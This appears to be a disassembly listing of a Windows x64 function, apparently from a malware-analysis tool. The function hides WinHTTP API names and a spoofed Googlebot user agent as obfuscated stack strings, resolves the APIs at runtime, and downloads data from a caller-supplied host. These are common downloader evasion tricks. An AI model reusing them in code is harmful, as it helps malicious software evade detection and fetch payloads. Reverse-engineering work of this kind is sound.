Function at 0x1400017f0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
jmp 0x1400017f0
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x438
mov rdi, rsp
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x450]
mov qword [rsp + 0x3f8], 0xfffffffffffffffe
mov rax, qword [0x140081160]
xor rax, rsp
mov qword [rsp + 0x428], rax
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rcx, [rsp + 0x78]
call fcn.14000126c
nop
mov dword [rsp + 0xb4], 0
mov dword [rsp + 0xc4], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
mov eax, 0x4d
mov word [rsp + 0xf0], ax
mov eax, 0x6f
mov word [rsp + 0xf2], ax
mov eax, 0x7a
mov word [rsp + 0xf4], ax
mov eax, 0x69
mov word [rsp + 0xf6], ax
mov eax, 0x6c
mov word [rsp + 0xf8], ax
mov eax, 0x6c
mov word [rsp + 0xfa], ax
mov eax, 0x61
mov word [rsp + 0xfc], ax
mov eax, 0x2f
mov word [rsp + 0xfe], ax
mov eax, 0x35
mov word [rsp + 0x100], ax
mov eax, 0x2e
mov word [rsp + 0x102], ax
mov eax, 0x30
mov word [rsp + 0x104], ax
mov eax, 0x20
mov word [rsp + 0x106], ax
mov eax, 0x28
mov word [rsp + 0x108], ax
mov eax, 0x63
mov word [rsp + 0x10a], ax
mov eax, 0x6f
mov word [rsp + 0x10c], ax
mov eax, 0x6d
mov word [rsp + 0x10e], ax
mov eax, 0x70
mov word [rsp + 0x110], ax
mov eax, 0x61
mov word [rsp + 0x112], ax
mov eax, 0x74
mov word [rsp + 0x114], ax
mov eax, 0x69
mov word [rsp + 0x116], ax
mov eax, 0x62
mov word [rsp + 0x118], ax
mov eax, 0x6c
mov word [rsp + 0x11a], ax
mov eax, 0x65
mov word [rsp + 0x11c], ax
mov eax, 0x3b
mov word [rsp + 0x11e], ax
mov eax, 0x20
mov word [rsp + 0x120], ax
mov eax, 0x47
mov word [rsp + 0x122], ax
mov eax, 0x6f
mov word [rsp + 0x124], ax
mov eax, 0x6f
mov word [rsp + 0x126], ax
mov eax, 0x67
mov word [rsp + 0x128], ax
mov eax, 0x6c
mov word [rsp + 0x12a], ax
mov eax, 0x65
mov word [rsp + 0x12c], ax
mov eax, 0x62
mov word [rsp + 0x12e], ax
mov eax, 0x6f
mov word [rsp + 0x130], ax
mov eax, 0x74
mov word [rsp + 0x132], ax
mov eax, 0x2f
mov word [rsp + 0x134], ax
mov eax, 0x32
mov word [rsp + 0x136], ax
mov eax, 0x2e
mov word [rsp + 0x138], ax
mov eax, 0x31
mov word [rsp + 0x13a], ax
mov eax, 0x3b
mov word [rsp + 0x13c], ax
mov eax, 0x20
mov word [rsp + 0x13e], ax
mov eax, 0x2b
mov word [rsp + 0x140], ax
mov eax, 0x68
mov word [rsp + 0x142], ax
mov eax, 0x74
mov word [rsp + 0x144], ax
mov eax, 0x74
mov word [rsp + 0x146], ax
mov eax, 0x70
mov word [rsp + 0x148], ax
mov eax, 0x3a
mov word [rsp + 0x14a], ax
mov eax, 0x2f
mov word [rsp + 0x14c], ax
mov eax, 0x2f
mov word [rsp + 0x14e], ax
mov eax, 0x77
mov word [rsp + 0x150], ax
mov eax, 0x77
mov word [rsp + 0x152], ax
mov eax, 0x77
mov word [rsp + 0x154], ax
mov eax, 0x2e
mov word [rsp + 0x156], ax
mov eax, 0x67
mov word [rsp + 0x158], ax
mov eax, 0x6f
mov word [rsp + 0x15a], ax
mov eax, 0x6f
mov word [rsp + 0x15c], ax
mov eax, 0x67
mov word [rsp + 0x15e], ax
mov eax, 0x6c
mov word [rsp + 0x160], ax
mov eax, 0x65
mov word [rsp + 0x162], ax
mov eax, 0x2e
mov word [rsp + 0x164], ax
mov eax, 0x63
mov word [rsp + 0x166], ax
mov eax, 0x6f
mov word [rsp + 0x168], ax
mov eax, 0x6d
mov word [rsp + 0x16a], ax
mov eax, 0x2f
mov word [rsp + 0x16c], ax
mov eax, 0x62
mov word [rsp + 0x16e], ax
mov eax, 0x6f
mov word [rsp + 0x170], ax
mov eax, 0x74
mov word [rsp + 0x172], ax
mov eax, 0x2e
mov word [rsp + 0x174], ax
mov eax, 0x68
mov word [rsp + 0x176], ax
mov eax, 0x74
mov word [rsp + 0x178], ax
mov eax, 0x6d
mov word [rsp + 0x17a], ax
mov eax, 0x6c
mov word [rsp + 0x17c], ax
mov eax, 0x29
mov word [rsp + 0x17e], ax
xor eax, eax
mov word [rsp + 0x180], ax
mov byte [rsp + 0x1a8], 0x6e
mov byte [rsp + 0x1a9], 0x65
mov byte [rsp + 0x1aa], 0x70
mov byte [rsp + 0x1ab], 0x4f
mov byte [rsp + 0x1ac], 0x70
mov byte [rsp + 0x1ad], 0x74
mov byte [rsp + 0x1ae], 0x74
mov byte [rsp + 0x1af], 0x48
mov byte [rsp + 0x1b0], 0x6e
mov byte [rsp + 0x1b1], 0x69
mov byte [rsp + 0x1b2], 0x57
mov byte [rsp + 0x1b3], 0
lea rcx, [rsp + 0x1a8]
call fcn.140001271
mov rdx, rax
mov rcx, qword [rsp + 0x470]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140082aa0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xf0]
call qword [0x140082aa0]
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 0
jne 0x140001d54
lea rax, [rsp + 0x360]
lea rcx, [rsp + 0x48]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x78]
call fcn.1400010be
lea rax, [rsp + 0x360]
mov rdi, qword [rsp + 0x450]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x450]
jmp 0x140002753
mov byte [rsp + 0x1d8], 0x74
mov byte [rsp + 0x1d9], 0x63
mov byte [rsp + 0x1da], 0x65
mov byte [rsp + 0x1db], 0x6e
mov byte [rsp + 0x1dc], 0x6e
mov byte [rsp + 0x1dd], 0x6f
mov byte [rsp + 0x1de], 0x43
mov byte [rsp + 0x1df], 0x70
mov byte [rsp + 0x1e0], 0x74
mov byte [rsp + 0x1e1], 0x74
mov byte [rsp + 0x1e2], 0x48
mov byte [rsp + 0x1e3], 0x6e
mov byte [rsp + 0x1e4], 0x69
mov byte [rsp + 0x1e5], 0x57
mov byte [rsp + 0x1e6], 0
lea rcx, [rsp + 0x1d8]
call fcn.140001271
mov rdx, rax
mov rcx, qword [rsp + 0x470]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140082aa8], rax
xor r9d, r9d
movzx r8d, word [rsp + 0x460]
mov rdx, qword [rsp + 0x458]
mov rcx, qword [rsp + 0xc8]
call qword [0x140082aa8]
mov qword [rsp + 0xd0], rax
cmp qword [rsp + 0xd0], 0
jne 0x140001e71
lea rax, [rsp + 0x370]
lea rcx, [rsp + 0x48]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x78]
call fcn.1400010be
lea rax, [rsp + 0x370]
mov rdi, qword [rsp + 0x450]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x450]
jmp 0x140002753
mov byte [rsp + 0x208], 0x74
mov byte [rsp + 0x209], 0x73
mov byte [rsp + 0x20a], 0x65
mov byte [rsp + 0x20b], 0x75
mov byte [rsp + 0x20c], 0x71
mov byte [rsp + 0x20d], 0x65
mov byte [rsp + 0x20e], 0x52
mov byte [rsp + 0x20f], 0x6e
mov byte [rsp + 0x210], 0x65
mov byte [rsp + 0x211], 0x70
mov byte [rsp + 0x212], 0x4f
mov byte [rsp + 0x213], 0x70
mov byte [rsp + 0x214], 0x74
mov byte [rsp + 0x215], 0x74
mov byte [rsp + 0x216], 0x48
mov byte [rsp + 0x217], 0x6e
mov byte [rsp + 0x218], 0x69
mov byte [rsp + 0x219], 0x57
mov byte [rsp + 0x21a], 0
lea rcx, [rsp + 0x208]
call fcn.140001271
mov rdx, rax
mov rcx, qword [rsp + 0x470]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140082ab0], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x468]
lea rdx, [0x14006c0a0]
mov rcx, qword [rsp + 0xd0]
call qword [0x140082ab0]
mov qword [rsp + 0xd8], rax
cmp qword [rsp + 0xd8], 0
jne 0x140001fc6
lea rax, [rsp + 0x380]
lea rcx, [rsp + 0x48]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x78]
call fcn.1400010be
lea rax, [rsp + 0x380]
mov rdi, qword [rsp + 0x450]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x450]
jmp 0x140002753
mov byte [rsp + 0x238], 0x74
mov byte [rsp + 0x239], 0x73
mov byte [rsp + 0x23a], 0x65
mov byte [rsp + 0x23b], 0x75
mov byte [rsp + 0x23c], 0x71
mov byte [rsp + 0x23d], 0x65
mov byte [rsp + 0x23e], 0x52
mov byte [rsp + 0x23f], 0x64
mov byte [rsp + 0x240], 0x6e
mov byte [rsp + 0x241], 0x65
mov byte [rsp + 0x242], 0x53
mov byte [rsp + 0x243], 0x70
mov byte [rsp + 0x244], 0x74
mov byte [rsp + 0x245], 0x74
mov byte [rsp + 0x246], 0x48
mov byte [rsp + 0x247], 0x6e
mov byte [rsp + 0x248], 0x69
mov byte [rsp + 0x249], 0x57
mov byte [rsp + 0x24a], 0
lea rcx, [rsp + 0x238]
call fcn.140001271
mov rdx, rax
mov rcx, qword [rsp + 0x470]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140082ab8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xd8]
call qword [0x140082ab8]
mov dword [rsp + 0xc4], eax
cmp dword [rsp + 0xc4], 0
jne 0x14000210e
lea rax, [rsp + 0x390]
lea rcx, [rsp + 0x48]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x78]
call fcn.1400010be
lea rax, [rsp + 0x390]
mov rdi, qword [rsp + 0x450]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x450]
jmp 0x140002753
mov byte [rsp + 0x268], 0x65
mov byte [rsp + 0x269], 0x73
mov byte [rsp + 0x26a], 0x6e
mov byte [rsp + 0x26b], 0x6f
mov byte [rsp + 0x26c], 0x70
mov byte [rsp + 0x26d], 0x73
mov byte [rsp + 0x26e], 0x65
mov byte [rsp + 0x26f], 0x52
mov byte [rsp + 0x270], 0x65
mov byte [rsp + 0x271], 0x76
mov byte [rsp + 0x272], 0x69
mov byte [rsp + 0x273], 0x65
mov byte [rsp + 0x274], 0x63
mov byte [rsp + 0x275], 0x65
mov byte [rsp + 0x276], 0x52
mov byte [rsp + 0x277], 0x70
mov byte [rsp + 0x278], 0x74
mov byte [rsp + 0x279], 0x74
mov byte [rsp + 0x27a], 0x48
mov byte [rsp + 0x27b], 0x6e
mov byte [rsp + 0x27c], 0x69
mov byte [rsp + 0x27d], 0x57
mov byte [rsp + 0x27e], 0
lea rcx, [rsp + 0x268]
call fcn.140001271
mov rdx, rax
mov rcx, qword [rsp + 0x470]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140082ac0], rax
xor edx, edx
mov rcx, qword [rsp + 0xd8]
call qword [0x140082ac0]
mov dword [rsp + 0xc4], eax
cmp dword [rsp + 0xc4], 0
je 0x14000253e
mov qword [rsp + 0x288], 0
mov dword [rsp + 0x294], 0
cmp qword [0x140082ac8], 0
jne 0x14000232a
mov byte [rsp + 0x2b8], 0x65
mov byte [rsp + 0x2b9], 0x6c
mov byte [rsp + 0x2ba], 0x62
mov byte [rsp + 0x2bb], 0x61
mov byte [rsp + 0x2bc], 0x6c
mov byte [rsp + 0x2bd], 0x69
mov byte [rsp + 0x2be], 0x61
mov byte [rsp + 0x2bf], 0x76
mov byte [rsp + 0x2c0], 0x41
mov byte [rsp + 0x2c1], 0x61
mov byte [rsp + 0x2c2], 0x74
mov byte [rsp + 0x2c3], 0x61
mov byte [rsp + 0x2c4], 0x44
mov byte [rsp + 0x2c5], 0x79
mov byte [rsp + 0x2c6], 0x72
mov byte [rsp + 0x2c7], 0x65
mov byte [rsp + 0x2c8], 0x75
mov byte [rsp + 0x2c9], 0x51
mov byte [rsp + 0x2ca], 0x70
mov byte [rsp + 0x2cb], 0x74
mov byte [rsp + 0x2cc], 0x74
mov byte [rsp + 0x2cd], 0x48
mov byte [rsp + 0x2ce], 0x6e
mov byte [rsp + 0x2cf], 0x69
mov byte [rsp + 0x2d0], 0x57
mov byte [rsp + 0x2d1], 0
lea rcx, [rsp + 0x2b8]
call fcn.140001271
mov rdx, rax
mov rcx, qword [rsp + 0x470]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140082ac8], rax
lea rdx, [rsp + 0x294]
mov rcx, qword [rsp + 0xd8]
call qword [0x140082ac8]
cmp dword [rsp + 0x294], 0
jne 0x14000234f
jmp 0x14000253e
mov eax, dword [rsp + 0x294]
mov ecx, eax
call fcn.140007a10
mov qword [rsp + 0x3a0], rax
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x288], rax
mov eax, dword [rsp + 0x294]
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x288]
call fcn.1400089b0
cmp qword [0x140082ad0], 0
jne 0x140002441
mov byte [rsp + 0x2f8], 0x61
mov byte [rsp + 0x2f9], 0x74
mov byte [rsp + 0x2fa], 0x61
mov byte [rsp + 0x2fb], 0x44
mov byte [rsp + 0x2fc], 0x64
mov byte [rsp + 0x2fd], 0x61
mov byte [rsp + 0x2fe], 0x65
mov byte [rsp + 0x2ff], 0x52
mov byte [rsp + 0x300], 0x70
mov byte [rsp + 0x301], 0x74
mov byte [rsp + 0x302], 0x74
mov byte [rsp + 0x303], 0x48
mov byte [rsp + 0x304], 0x6e
mov byte [rsp + 0x305], 0x69
mov byte [rsp + 0x306], 0x57
mov byte [rsp + 0x307], 0
lea rcx, [rsp + 0x2f8]
call fcn.140001271
mov rdx, rax
mov rcx, qword [rsp + 0x470]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140082ad0], rax
lea r9, [rsp + 0xb4]
mov r8d, dword [rsp + 0x294]
mov rdx, qword [rsp + 0x288]
mov rcx, qword [rsp + 0xd8]
call qword [0x140082ad0]
test eax, eax
je 0x140002516
lea rax, [rsp + 0x3a8]
mov qword [rsp + 0x3c0], rax
mov eax, dword [rsp + 0xb4]
mov rcx, qword [rsp + 0x288]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x400], rax
lea rdx, [rsp + 0x3c8]
lea rcx, [rsp + 0x78]
call fcn.140001104
mov qword [rsp + 0x408], rax
mov rax, qword [rsp + 0x408]
mov qword [rsp + 0x410], rax
mov rdx, qword [rsp + 0x410]
mov rcx, qword [rsp + 0x3c0]
call fcn.140001055
mov qword [rsp + 0x418], rax
mov rax, qword [rsp + 0x400]
mov r9, rax
mov r8, qword [rsp + 0x288]
mov rdx, qword [rsp + 0x418]
lea rcx, [rsp + 0x78]
call fcn.14000105a
nop
lea rcx, [rsp + 0x3c8]
call fcn.14000106e
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x3e0], rax
mov rcx, qword [rsp + 0x3e0]
call fcn.140008980
xor eax, eax
cmp eax, 1
jne 0x140002210
lea rcx, [rsp + 0x78]
call fcn.140001118
movzx eax, al
test eax, eax
jne 0x140002605
lea rcx, [rsp + 0x78]
call fcn.140001069
mov qword [rsp + 0x318], rax
mov rcx, qword [rsp + 0x318]
call fcn.140008940
mov qword [rsp + 0x320], rax
mov dword [rsp + 0x328], 0
jmp 0x140002597
mov eax, dword [rsp + 0x328]
inc eax
mov dword [rsp + 0x328], eax
movsxd rax, dword [rsp + 0x328]
mov qword [rsp + 0x420], rax
lea rcx, [rsp + 0x78]
call fcn.140001069
mov rcx, qword [rsp + 0x420]
cmp rcx, rax
jae 0x1400025eb
movsxd rax, dword [rsp + 0x328]
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.1400011d6
movsxd rcx, dword [rsp + 0x328]
mov rdx, qword [rsp + 0x320]
movzx eax, byte [rax]
mov byte [rdx + rcx], al
jmp 0x140002587
mov rax, qword [rsp + 0x320]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x338], 0x65
mov byte [rsp + 0x339], 0x6c
mov byte [rsp + 0x33a], 0x64
mov byte [rsp + 0x33b], 0x6e
mov byte [rsp + 0x33c], 0x61
mov byte [rsp + 0x33d], 0x48
mov byte [rsp + 0x33e], 0x65
mov byte [rsp + 0x33f], 0x73
mov byte [rsp + 0x340], 0x6f
mov byte [rsp + 0x341], 0x6c
mov byte [rsp + 0x342], 0x43
mov byte [rsp + 0x343], 0x70
mov byte [rsp + 0x344], 0x74
mov byte [rsp + 0x345], 0x74
mov byte [rsp + 0x346], 0x48
mov byte [rsp + 0x347], 0x6e
mov byte [rsp + 0x348], 0x69
mov byte [rsp + 0x349], 0x57
mov byte [rsp + 0x34a], 0
lea rcx, [rsp + 0x338]
call fcn.140001271
mov rdx, rax
mov rcx, qword [rsp + 0x470]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140082ad8], rax
cmp qword [rsp + 0xd8], 0
je 0x1400026db
mov rcx, qword [rsp + 0xd8]
call qword [0x140082ad8]
cmp qword [rsp + 0xd0], 0
je 0x1400026f4
mov rcx, qword [rsp + 0xd0]
call qword [0x140082ad8]
cmp qword [rsp + 0xc8], 0
je 0x14000270d
mov rcx, qword [rsp + 0xc8]
call qword [0x140082ad8]
lea rax, [rsp + 0x3e8]
lea rcx, [rsp + 0x48]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x78]
call fcn.1400010be
lea rax, [rsp + 0x3e8]
mov rdi, qword [rsp + 0x450]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x450]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x14006c278]
call fcn.140008760
mov rax, rdi
mov rcx, qword [rsp + 0x428]
xor rcx, rsp
call fcn.140008740
add rsp, 0x438
pop rdi
pop rsi
ret